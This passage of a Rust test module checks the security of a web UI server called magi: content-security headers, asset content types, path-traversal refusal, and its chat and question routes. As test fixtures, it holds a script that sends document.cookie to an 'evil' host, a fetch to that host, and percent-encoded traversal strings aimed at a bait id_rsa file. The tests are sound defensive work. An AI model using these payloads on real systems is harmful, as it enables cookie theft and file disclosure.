3535        /// The status and headers without the body, which is how the front end
3536        /// preflights a panel: a sandboxed frame is opaque to the parent
3537        /// document, so the only way to tell "no panel" from "a panel that
3538        /// rendered blank" is to ask before mounting.
3539        async fn head(&self, path: &str) -> Res {
3540            request(self.addr, "HEAD", path, None).await
3541        }
3542
3543        async fn post(&self, path: &str, body: Option<&str>) -> Res {
3544            request(self.addr, "POST", path, body).await
3545        }
3546
3547        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
3548            request_with(self.addr, "GET", path, None, extra).await
3549        }
3550
3551        async fn delete(&self, path: &str) -> Res {
3552            request(self.addr, "DELETE", path, None).await
3553        }
3554    }
3555
3556    struct Res {
3557        status: u16,
3558        headers: String,
3559        /// The header block with its original casing, for the assertions that
3560        /// compare a header *value* rather than looking for a name. Lowercasing
3561        /// a CSP would hide a directive spelled with a capital letter, and the
3562        /// whole point of that test is that the string is exactly right.
3563        head: String,
3564        body: String,
3565        /// The body before any UTF-8 handling, for the routes that serve
3566        /// something other than text. A panel asset is a PNG as often as not,
3567        /// and `from_utf8_lossy` would silently replace half of it.
3568        bytes: Vec<u8>,
3569    }
3570
3571    impl Res {
3572        fn json(&self) -> Value {
3573            serde_json::from_str(&self.body)
3574                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
3575        }
3576
3577        /// One header's value verbatim, or `None` when it was not sent.
3578        fn header(&self, name: &str) -> Option<&str> {
3579            self.head.lines().find_map(|line| {
3580                let (key, value) = line.split_once(':')?;
3581                key.trim()
3582                    .eq_ignore_ascii_case(name)
3583                    .then(|| value.trim_start().trim_end_matches('\r'))
3584            })
3585        }
3586    }
3587
3588    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
3589    /// be read to end-of-stream without parsing framing.
3590    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3591        request_with(addr, method, path, body, &[]).await
3592    }
3593
3594    /// As [`request`], with extra request headers - conditional GETs need
3595    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
3596    /// worse than one that sets none.
3597    async fn request_with(
3598        addr: SocketAddr,
3599        method: &str,
3600        path: &str,
3601        body: Option<&str>,
3602        extra: &[(&str, &str)],
3603    ) -> Res {
3604        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3605        for (name, value) in extra {
3606            head.push_str(&format!("{name}: {value}\r\n"));
3607        }
3608        if let Some(body) = body {
3609            head.push_str("Content-Type: application/json\r\n");
3610            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3611        }
3612        head.push_str("\r\n");
3613        if let Some(body) = body {
3614            head.push_str(body);
3615        }
3616        let mut socket = tokio::net::TcpStream::connect(addr)
3617            .await
3618            .expect("connect to the test server");
3619        socket
3620            .write_all(head.as_bytes())
3621            .await
3622            .expect("write request");
3623        let mut raw = Vec::new();
3624        socket.read_to_end(&mut raw).await.expect("read response");
3625        // Split on the raw bytes rather than on a lossy string, so a binary
3626        // body survives to be compared byte for byte.
3627        let split = raw
3628            .windows(4)
3629            .position(|w| w == b"\r\n\r\n")
3630            .expect("a header block");
3631        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3632        let bytes = raw[split + 4..].to_vec();
3633        let status = head
3634            .lines()
3635            .next()
3636            .and_then(|line| line.split_whitespace().nth(1))
3637            .and_then(|code| code.parse().ok())
3638            .expect("a status line");
3639        Res {
3640            status,
3641            headers: head.to_lowercase(),
3642            head,
3643            body: String::from_utf8_lossy(&bytes).into_owned(),
3644            bytes,
3645        }
3646    }
3647
3648    /// A run on disk, without touching the process-global magi home.
3649    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3650        let mut state = RunState::new(
3651            PathBuf::from("/repo/magi"),
3652            "main".to_owned(),
3653            "0123456789abcdef".to_owned(),
3654            "Add a web UI\n\nMobile first.".to_owned(),
3655            Config::default(),
3656        );
3657        state.id = id.to_owned();
3658        state.status = status;
3659        let dir = runs.join(id);
3660        std::fs::create_dir_all(&dir).expect("run dir");
3661        std::fs::write(
3662            dir.join("run.json"),
3663            serde_json::to_string_pretty(&state).expect("serialize run"),
3664        )
3665        .expect("write run.json");
3666    }
3667
3668    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3669        let body = serde_json::json!({
3670            "schema": 1,
3671            "pid": 4242,
3672            "started_at": Timestamp::now().to_string(),
3673            "updated_at": updated_at.to_string(),
3674            "idle": false,
3675            "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3676            "completed": 7,
3677            "polls": 143,
3678        });
3679        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3680    }
3681
3682    /// A loop that starts, finds nothing to do, and waits to be told to stop.
3683    ///
3684    /// No test in this file may start the real loop - see [`Ui::launch`] for
3685    /// why - so this stands in for the only thing the routes need a loop to
3686    /// do: keep running until `Stop` is set, then return. A real
3687    /// `serve_until` here would resolve its queue and its status file through
3688    /// the process-global magi home, claim whatever it found in the
3689    /// operator's live backlog, overwrite the status file of the `magi serve`
3690    /// that owns it, and spend real agent quota on a real competition.
3691    fn launch_idle(
3692        _opts: daemon::Opts,
3693        stop: daemon::Stop,
3694    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3695        Box::pin(async move {
3696            while !stop.stopped() {
3697                tokio::time::sleep(Duration::from_millis(2)).await;
3698            }
3699            Ok(())
3700        })
3701    }
3702
3703    /// A loop that fails on the way up, the way one whose home has gone
3704    /// read-only does.
3705    fn launch_broken(
3706        _opts: daemon::Opts,
3707        _stop: daemon::Stop,
3708    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3709        Box::pin(async {
3710            Err(anyhow::anyhow!(
3711                "publish the daemon status file: read-only file system"
3712            ))
3713        })
3714    }
3715
3716    /// The address the parking loop knocks on, and what it heard there.
3717    ///
3718    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
3719    /// capture a fixture's address; this is how it is handed one. Only
3720    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
3721    /// these, so nothing else in this binary can race them.
3722    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3723    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3724
3725    /// A loop that, once it is asked to stop, checks the deck still answers
3726    /// before it goes.
3727    ///
3728    /// It stands in for a run mid-node: `finish_loop` waits for this future,
3729    /// so the request it makes is strictly inside the park window - no sleep
3730    /// and no polling needed to be sure of that.
3731    fn launch_knocking_on_the_way_out(
3732        _opts: daemon::Opts,
3733        stop: daemon::Stop,
3734    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3735        Box::pin(async move {
3736            while !stop.stopped() {
3737                tokio::time::sleep(Duration::from_millis(2)).await;
3738            }
3739            let addr = PARK_KNOCK
3740                .lock()
3741                .expect("park knock")
3742                .expect("the test set an address");
3743            let heard = request(addr, "GET", "/api/health", None).await.status;
3744            *PARK_HEARD.lock().expect("park heard") = Some(heard);
3745            Ok(())
3746        })
3747    }
3748
3749    /// The loop view once `want` accepts it.
3750    ///
3751    /// Polled rather than asserted straight after the POST because stopping
3752    /// is deliberately not instant - that is the contract - and rather than
3753    /// slept through because a fixed wait is either flaky or slow. Two
3754    /// seconds is far longer than a stand-in loop needs and still finite, so
3755    /// a genuine hang fails the test instead of hanging the suite.
3756    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3757        for _ in 0..200 {
3758            let view = fx.get("/api/loop").await.json();
3759            if want(&view) {
3760                return view;
3761            }
3762            tokio::time::sleep(Duration::from_millis(10)).await;
3763        }
3764        panic!(
3765            "the loop never settled: {}",
3766            fx.get("/api/loop").await.json()
3767        );
3768    }
3769
3770    /// File an open question directly in the store the server reads.
3771    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3772        let store = fx.questions();
3773        let mut q = Question::new(
3774            "20260902-000000-beef".to_owned(),
3775            "implement".to_owned(),
3776            "impl-A".to_owned(),
3777            summary.to_owned(),
3778            "because it matters".to_owned(),
3779            choices.iter().map(|c| (*c).to_owned()).collect(),
3780        );
3781        store.put(&mut q).expect("put question");
3782        q.id
3783    }
3784
3785    /// A question with a panel the server can serve, plus the named assets.
3786    ///
3787    /// Written through `Questions::put_panel` rather than by laying out the
3788    /// directory here, so these tests exercise the same on-disk shape the
3789    /// agents produce and cannot pass against a layout only the tests know.
3790    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3791        let store = fx.questions();
3792        let mut q = Question::new(
3793            "20260902-000000-beef".to_owned(),
3794            "land".to_owned(),
3795            "fix".to_owned(),
3796            "Merge this?".to_owned(),
3797            "the diff is in the panel".to_owned(),
3798            vec!["merge".to_owned(), "hold".to_owned()],
3799        );
3800        // Staged outside the questions root, because `put_panel` copies from
3801        // wherever the agent left its files.
3802        let staging = fx.home.path().join("staging");
3803        std::fs::create_dir_all(&staging).expect("staging dir");
3804        let sources: Vec<PathBuf> = assets
3805            .iter()
3806            .map(|(name, bytes)| {
3807                let path = staging.join(name);
3808                std::fs::write(&path, bytes).expect("write staged asset");
3809                path
3810            })
3811            .collect();
3812        store
3813            .put_panel(&mut q, html, &sources)
3814            .expect("write the panel");
3815        store.put(&mut q).expect("put question");
3816        q.id
3817    }
3818
3819    /// An interview on disk, without talking to a model.
3820    ///
3821    /// Written as JSON straight into the store the server reads, because the
3822    /// only constructor `chat` offers spawns an agent CLI. The one thing this
3823    /// cannot make up is the seat, so it is built with the real
3824    /// `SeatState::new` and serialized - the alternative, hand-writing that
3825    /// object, would make these tests fail the day the seat gains a field.
3826    fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3827        let store = fx.chats();
3828        std::fs::create_dir_all(store.root()).expect("chats dir");
3829        let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3830            .expect("serialize a seat");
3831        let body = serde_json::json!({
3832            "schema": 1,
3833            "id": id,
3834            "repo": "/repo/magi",
3835            "agent": "sonnet",
3836            "status": status,
3837            "turns": [
3838                { "who": "operator", "body": "rework the config loader",
3839                  "at": Timestamp::now().to_string() },
3840                { "who": "agent", "body": "Which part is hurting?",
3841                  "at": Timestamp::now().to_string() },
3842            ],
3843            "draft": draft,
3844            "task": Value::Null,
3845            "created_at": Timestamp::now().to_string(),
3846            "updated_at": Timestamp::now().to_string(),
3847            "seat": seat,
3848        });
3849        std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3850        // A chat the server cannot parse would make every assertion below a
3851        // 500 that says nothing about the route under test.
3852        store.get(id).expect("the seeded chat has to be readable");
3853        id.to_owned()
3854    }
3855
3856    /// A talk on disk, without talking to a model. Mirrors [`interview`] for
3857    /// `talk::Talk`.
3858    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
3859        let store = fx.talks();
3860        std::fs::create_dir_all(store.root()).expect("talks dir");
3861        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
3862            .expect("serialize a seat");
3863        let body = serde_json::json!({
3864            "schema": 1,
3865            "id": id,
3866            "repo": "/repo/magi",
3867            "agent": "mock",
3868            "status": status,
3869            "turns": [],
3870            "created_at": Timestamp::now().to_string(),
3871            "updated_at": Timestamp::now().to_string(),
3872            "seat": seat,
3873        });
3874        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
3875        store.get(id).expect("the seeded talk has to be readable");
3876        id.to_owned()
3877    }
3878
3879    /// A task file that satisfies `plan::review_draft`, so `POST /file` has
3880    /// something to accept.
3881    fn good_draft() -> String {
3882        "# Rework the config loader\n\n\
3883         ## Why\n\n\
3884         It re-reads `magi.toml` on every lookup, so a run that asks for the \
3885         roster four hundred times pays four hundred parses of the same file.\n\n\
3886         ## What\n\n\
3887         Load the layers once when the run starts and hand the merged value \
3888         around. Nothing about the file format changes.\n\n\
3889         ## Acceptance criteria\n\n\
3890         - `Config::discover` is called exactly once per run.\n\
3891         - `cargo test` passes with no change to any existing assertion.\n"
3892            .to_owned()
3893    }
3894
3895    #[tokio::test]
3896    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3897        let fx = Fixture::start().await;
3898        let id = panel(
3899            &fx,
3900            "<h1>Merge?</h1><img src=\"diff.svg\">",
3901            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3902        );
3903
3904        for path in [
3905            format!("/api/questions/{id}/panel"),
3906            format!("/api/questions/{id}/asset/diff.svg"),
3907        ] {
3908            let res = fx.get(&path).await;
3909            assert_eq!(res.status, 200, "{path}: {}", res.body);
3910            // The whole string, not a substring. A weakened directive - an
3911            // `img-src *` that lets a panel beacon out to a remote host, a
3912            // `script-src` anything, a missing `form-action` that lets it post
3913            // the owner's decision to a third party - has to fail here, and a
3914            // `contains` assertion would let every one of those through.
3915            assert_eq!(
3916                res.header("content-security-policy"),
3917                Some(
3918                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3919                     font-src data:; base-uri 'none'; form-action 'none'; \
3920                     frame-ancestors 'self'"
3921                ),
3922                "{path} is the only thing between a hostile panel and the tailnet"
3923            );
3924            assert_eq!(
3925                res.header("x-content-type-options"),
3926                Some("nosniff"),
3927                "{path}: a browser must not re-decide the type we sent"
3928            );
3929            assert_eq!(
3930                res.header("referrer-policy"),
3931                Some("no-referrer"),
3932                "{path}: a panel must not leak the question id off the machine"
3933            );
3934
3935            // The front end mounts the frame only after a `HEAD` says the
3936            // panel is there, so `HEAD` has to answer with the same status and
3937            // the same policy as `GET` - a preflight that came back without
3938            // the CSP would mean a frame mounted on an unverified promise.
3939            let pre = fx.head(&path).await;
3940            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3941            assert_eq!(
3942                pre.header("content-security-policy"),
3943                res.header("content-security-policy"),
3944                "{path}: the preflight carries the same policy"
3945            );
3946            assert_eq!(
3947                pre.header("content-type"),
3948                res.header("content-type"),
3949                "{path}: the preflight carries the same type"
3950            );
3951        }
3952    }
3953
3954    #[tokio::test]
3955    async fn a_panel_reaches_the_browser_byte_for_byte() {
3956        let fx = Fixture::start().await;
3957        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
3958        // tag, an entity, and a multi-byte character. The sandbox is what makes
3959        // this safe, so nothing here may be rewritten on the way out - a
3960        // rewritten diff is a diff the owner cannot trust.
3961        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
3962        let id = panel(&fx, html, &[]);
3963
3964        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3965
3966        assert_eq!(res.status, 200);
3967        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3968        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3969        assert_eq!(
3970            res.header("content-disposition"),
3971            None,
3972            "the panel itself is rendered in the frame, not downloaded"
3973        );
3974    }
3975
3976    #[tokio::test]
3977    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3978        let fx = Fixture::start().await;
3979        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3980        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3981        let id = panel(
3982            &fx,
3983            "<img src=\"diff.svg\"><img src=\"shot.png\">",
3984            &[("diff.svg", svg), ("shot.png", png)],
3985        );
3986
3987        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3988        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3989
3990        assert_eq!(as_svg.status, 200);
3991        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3992        // An SVG is XML that may carry script. Inside the panel it is an
3993        // `<img src>` and the script cannot run; opened at the top level it
3994        // would be a document on magi's own origin, so the browser is told to
3995        // download it instead of rendering it.
3996        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3997
3998        assert_eq!(as_png.status, 200);
3999        assert_eq!(as_png.header("content-type"), Some("image/png"));
4000        assert_eq!(
4001            as_png.header("content-disposition"),
4002            None,
4003            "a raster image has no execution surface, so tapping it still shows it"
4004        );
4005        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4006    }
4007
4008    #[tokio::test]
4009    async fn an_html_asset_is_never_served_as_html() {
4010        let fx = Fixture::start().await;
4011        let id = panel(
4012            &fx,
4013            "<p>see the notes</p>",
4014            &[
4015                (
4016                    "notes.html",
4017                    b"<script>fetch('http://evil/'+document.cookie)</script>",
4018                ),
4019                ("hook.js", b"fetch('http://evil/')"),
4020                ("data.json", b"{}"),
4021                ("HEADLINE.TXT", b"plain"),
4022            ],
4023        );
4024
4025        for name in ["notes.html", "hook.js", "data.json"] {
4026            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4027            assert_eq!(res.status, 200, "{name}: {}", res.body);
4028            // Serving this as text/html would be a way to reach agent markup
4029            // at the top level of the operator's browser, outside the frame's
4030            // sandbox and outside its CSP - which is the whole thing the panel
4031            // design exists to prevent. Unlisted types are downloads.
4032            assert_eq!(
4033                res.header("content-type"),
4034                Some("application/octet-stream"),
4035                "{name} must not be a type the browser will execute or render"
4036            );
4037        }
4038        // The whitelist is matched case-insensitively, so an agent shouting the
4039        // extension still gets a readable file rather than a download.
4040        let txt = fx
4041            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4042            .await;
4043        assert_eq!(
4044            txt.header("content-type"),
4045            Some("text/plain; charset=utf-8")
4046        );
4047    }
4048
4049    #[tokio::test]
4050    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4051        let fx = Fixture::start().await;
4052        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4053        // Something outside the panel directory that a traversal would reach if
4054        // one got through, so a passing test is not merely "the file was
4055        // missing anyway".
4056        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4057
4058        // Decoded before this server's handler sees them: axum percent-decodes
4059        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
4060        // string with a NUL in it. All three look like ordinary single-segment
4061        // filenames to the router, so the router passes them through and
4062        // `valid_asset_name` is what refuses them - for the literal `..`, and
4063        // for `/`, `\` and NUL not being in the permitted character set.
4064        for encoded in [
4065            "%2e%2e%2fid_rsa",
4066            "..%2fid_rsa",
4067            "..%5cid_rsa",
4068            "%2e%2e%5cid_rsa",
4069            "diff%00.svg",
4070            "..",
4071            ".hidden",
4072            "%2e%2e%2f%2e%2e%2fid_rsa",
4073        ] {
4074            let res = fx
4075                .get(&format!("/api/questions/{id}/asset/{encoded}"))
4076                .await;
4077            assert_eq!(
4078                res.status, 400,
4079                "`{encoded}` has to be refused by name, not looked up: {}",
4080                res.body
4081            );
4082            assert!(res.json()["error"].is_string(), "{}", res.body);
4083        }
4084
4085        // Not decoded, and never this handler's problem: a real slash makes the
4086        // request one segment too long for `/api/questions/{id}/asset/{name}`,
4087        // so axum's router has no route to match and answers before any code
4088        // here runs. Asserted so that a future route with a wildcard segment
4089        // cannot quietly open this door.
4090        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4091            let res = fx
4092                .get(&format!("/api/questions/{id}/asset/{literal}"))
4093                .await;
4094            assert_eq!(
4095                res.status, 404,
4096                "`{literal}` must not match the asset route at all: {}",
4097                res.body
4098            );
4099        }
4100    }
4101
4102    #[tokio::test]
4103    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4104        let fx = Fixture::start().await;
4105        let plain = ask(&fx, "Which backend?", &["SQLite"]);
4106        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4107
4108        // A question nobody wrote a panel for. The client preflights with HEAD
4109        // and cannot see inside a sandboxed frame, so this must be a status and
4110        // not an empty page.
4111        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4112        assert_eq!(none.status, 404, "{}", none.body);
4113        assert!(none.json()["error"].is_string(), "{}", none.body);
4114        assert_eq!(
4115            fx.head(&format!("/api/questions/{plain}/panel"))
4116                .await
4117                .status,
4118            404,
4119            "the preflight is the only way the client can learn this"
4120        );
4121
4122        // A name that is perfectly legal and simply is not there.
4123        let missing = fx
4124            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4125            .await;
4126        assert_eq!(missing.status, 404, "{}", missing.body);
4127        assert!(missing.json()["error"].is_string(), "{}", missing.body);
4128
4129        // A question that does not exist at all, on both routes.
4130        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4131        assert_eq!(
4132            fx.get("/api/questions/nope/asset/diff.svg").await.status,
4133            404
4134        );
4135    }
4136
4137    #[tokio::test]
4138    async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
4139        let fx = Fixture::start().await;
4140        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4141
4142        interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
4143        interview(&fx, "20260903-014456-open", "open", None);
4144
4145        let listed = fx.get("/api/chats").await;
4146        assert_eq!(listed.status, 200, "{}", listed.body);
4147        let chats = listed.json();
4148        assert_eq!(chats.as_array().map(Vec::len), Some(2));
4149        assert_eq!(
4150            chats[0]["id"], "20260903-014456-open",
4151            "an unfinished interview is what the operator came back for: {chats}"
4152        );
4153        assert_eq!(chats[0]["status"], "open");
4154        // The transcript is the only thing a chat is made of, so the list
4155        // carries it rather than making the phone fetch each one.
4156        assert_eq!(chats[0]["turns"][0]["who"], "operator");
4157        assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
4158        assert_eq!(chats[1]["status"], "filed");
4159
4160        // The one number that says "you left an interview open"; a filed one
4161        // has become a task and must not keep counting.
4162        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
4163    }
4164
4165    #[tokio::test]
4166    async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
4167        let fx = Fixture::start().await;
4168        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4169
4170        let full = fx.get(&format!("/api/chats/{id}")).await;
4171        assert_eq!(full.status, 200, "{}", full.body);
4172        assert_eq!(full.json()["id"], id);
4173        assert_eq!(full.json()["repo"], "/repo/magi");
4174
4175        // The short id is what the operator reads off a notification.
4176        let short = fx.get("/api/chats/ab12").await;
4177        assert_eq!(short.status, 200, "{}", short.body);
4178        assert_eq!(short.json()["id"], id);
4179
4180        let missing = fx.get("/api/chats/nosuchchat").await;
4181        assert_eq!(missing.status, 404, "{}", missing.body);
4182        assert!(
4183            missing.json()["error"]
4184                .as_str()
4185                .is_some_and(|e| e.contains("chat")),
4186            "the error names what was not found: {}",
4187            missing.body
4188        );
4189    }
4190
4191    #[tokio::test]
4192    async fn filing_a_bad_draft_reports_every_problem_at_once() {
4193        let fx = Fixture::start().await;
4194        let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
4195
4196        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4197
4198        assert_eq!(res.status, 400, "{}", res.body);
4199        let problems = res.json()["problems"].clone();
4200        let problems = problems.as_array().expect("an array of problems");
4201        // Every problem, not the first one. The operator is on a phone: a
4202        // draft with no title and no acceptance criteria is one edit, and
4203        // reporting it one problem per round trip means asking the interviewer
4204        // to rewrite it twice.
4205        assert!(
4206            problems.len() > 1,
4207            "one round trip has to be enough to fix the draft: {}",
4208            res.body
4209        );
4210        assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
4211        assert!(res.json()["error"].is_string(), "{}", res.body);
4212        assert!(
4213            fx.queue().list().is_empty(),
4214            "a refused draft must not reach the queue"
4215        );
4216
4217        // An interview the agent has not drafted for at all is the same shape,
4218        // so the front end has one path rather than two.
4219        let empty = interview(&fx, "20260903-014456-cd34", "open", None);
4220        let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
4221        assert_eq!(res.status, 400, "{}", res.body);
4222        assert_eq!(
4223            res.json()["problems"].as_array().map(Vec::len),
4224            Some(1),
4225            "{}",
4226            res.body
4227        );
4228    }
4229
4230    #[tokio::test]
4231    async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
4232        let fx = Fixture::start().await;
4233        let draft = good_draft();
4234        let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
4235
4236        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4237
4238        assert_eq!(res.status, 200, "{}", res.body);
4239        let task = res.json()["task"]
4240            .as_str()
4241            .unwrap_or_else(|| panic!("a task id: {}", res.body))
4242            .to_owned();
4243
4244        // The point of the whole browser interview: a real task in the real
4245        // queue, indistinguishable from one filed at a terminal.
4246        let queued = fx.queue().get(&task).expect("the task is on disk");
4247        assert_eq!(
4248            queued.instruction, draft,
4249            "the draft reaches the graph verbatim"
4250        );
4251        assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
4252        assert_eq!(
4253            fx.get("/api/queue").await.json()[0]["id"],
4254            task,
4255            "the filed task is the listed one"
4256        );
4257
4258        // The interview is finished, so it stops asking to be finished.
4259        let after = fx.get(&format!("/api/chats/{id}")).await.json();
4260        assert_eq!(after["task"], task);
4261        assert_eq!(after["status"], "filed");
4262        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4263    }
4264
4265    #[tokio::test]
4266    async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
4267        let fx = Fixture::start().await;
4268        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4269        let ui = Ui::new(
4270            fx.queue(),
4271            fx.questions(),
4272            fx.chats(),
4273            fx.talks(),
4274            fx.runs(),
4275            fx.home.path().to_path_buf(),
4276            PathBuf::from("/repo/magi"),
4277        )
4278        .with_worktrees_root(fx.home.path().join("wt"));
4279
4280        // The claim a running `POST /say` holds. Taken directly rather than by
4281        // starting a turn, because a turn spawns an agent CLI and no test here
4282        // is allowed to do that.
4283        let first = ui.begin_turn(&id).expect("the first turn claims the chat");
4284        let second = ui.begin_turn(&id).expect_err("the second must be refused");
4285        assert_eq!(
4286            second.status,
4287            StatusCode::CONFLICT,
4288            "a double tap on a slow link must not append two half-turns"
4289        );
4290
4291        // Dropped rather than released by hand, which is what makes a cancelled
4292        // request - a phone that walked out of range mid-turn - leave the chat
4293        // usable instead of wedged until the server restarts.
4294        drop(first);
4295        assert!(
4296            ui.begin_turn(&id).is_ok(),
4297            "the slot has to come back on its own"
4298        );
4299    }
4300
4301    #[tokio::test]
4302    async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
4303        let fx = Fixture::start().await;
4304        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4305
4306        // Refused on the request, before the chat is even resolved, so an
4307        // accidental send costs neither a model call nor a turn in the record.
4308        for body in [r#"{"text":"   \n "}"#, r#"{}"#] {
4309            let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
4310            assert_eq!(res.status, 400, "{body}: {}", res.body);
4311        }
4312        let res = fx.post("/api/chats", Some(r#"{"idea":"  "}"#)).await;
4313        assert_eq!(res.status, 400, "{}", res.body);
4314
4315        assert_eq!(
4316            fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
4317                .as_array()
4318                .map(Vec::len),
4319            Some(2),
4320            "nothing above may have appended a turn"
4321        );
4322    }
4323
4324    #[tokio::test]
4325    async fn a_run_with_an_open_question_reads_as_waiting() {
4326        let fx = Fixture::start().await;
4327        let run = "20260902-000000-beef".to_owned();
4328        write_run(&fx.runs(), &run, RunStatus::Implementing);
4329
4330        let before = fx.get("/api/runs").await.json();
4331        assert_eq!(before[0]["waiting"], false, "{before}");
4332
4333        let store = fx.questions();
4334        let mut q = Question::new(
4335            run.clone(),
4336            "implement".to_owned(),
4337            "impl-A".to_owned(),
4338            "Which backend?".to_owned(),
4339            String::new(),
4340            vec!["SQLite".to_owned()],
4341        );
4342        store.put(&mut q).expect("put");
4343
4344        let during = fx.get("/api/runs").await.json();
4345        assert_eq!(during[0]["waiting"], true, "{during}");
4346
4347        // Answered: the run is moving again, and the flag has to follow without
4348        // anything having rewritten run.json.
4349        q.answer(Answer::Choice("SQLite".to_owned()))
4350            .expect("answer");
4351        store.put(&mut q).expect("put");
4352        let after = fx.get("/api/runs").await.json();
4353        assert_eq!(after[0]["waiting"], false, "{after}");
4354    }
4355
4356    #[tokio::test]
4357    async fn an_open_question_is_listed_and_counted_by_health() {
4358        let fx = Fixture::start().await;
4359        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4360
4361        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4362        let listed = fx.get("/api/questions").await.json();
4363        assert_eq!(listed.as_array().expect("array").len(), 1);
4364        assert_eq!(listed[0]["id"], id);
4365        assert_eq!(listed[0]["status"], "open");
4366        assert_eq!(listed[0]["choices"][1], "Redis");
4367        // The count is what makes the phone's indicator honest: it is the one
4368        // number meaning nothing will move until a human acts.
4369        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4370    }
4371
4372    #[tokio::test]
4373    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4374        let fx = Fixture::start().await;
4375        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4376        let path = format!("/api/questions/{id}/answer");
4377
4378        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4379        assert_eq!(res.status, 200, "{}", res.body);
4380        let body = res.json();
4381        assert_eq!(body["status"], "answered");
4382        assert_eq!(body["answer"]["choice"], "Redis");
4383
4384        // Answered from the terminal in between the list and the tap: the UI
4385        // must be able to tell this from a bad request, so it can show the
4386        // recorded answer instead of an error.
4387        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4388        assert_eq!(again.status, 409, "{}", again.body);
4389        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4390    }
4391
4392    #[tokio::test]
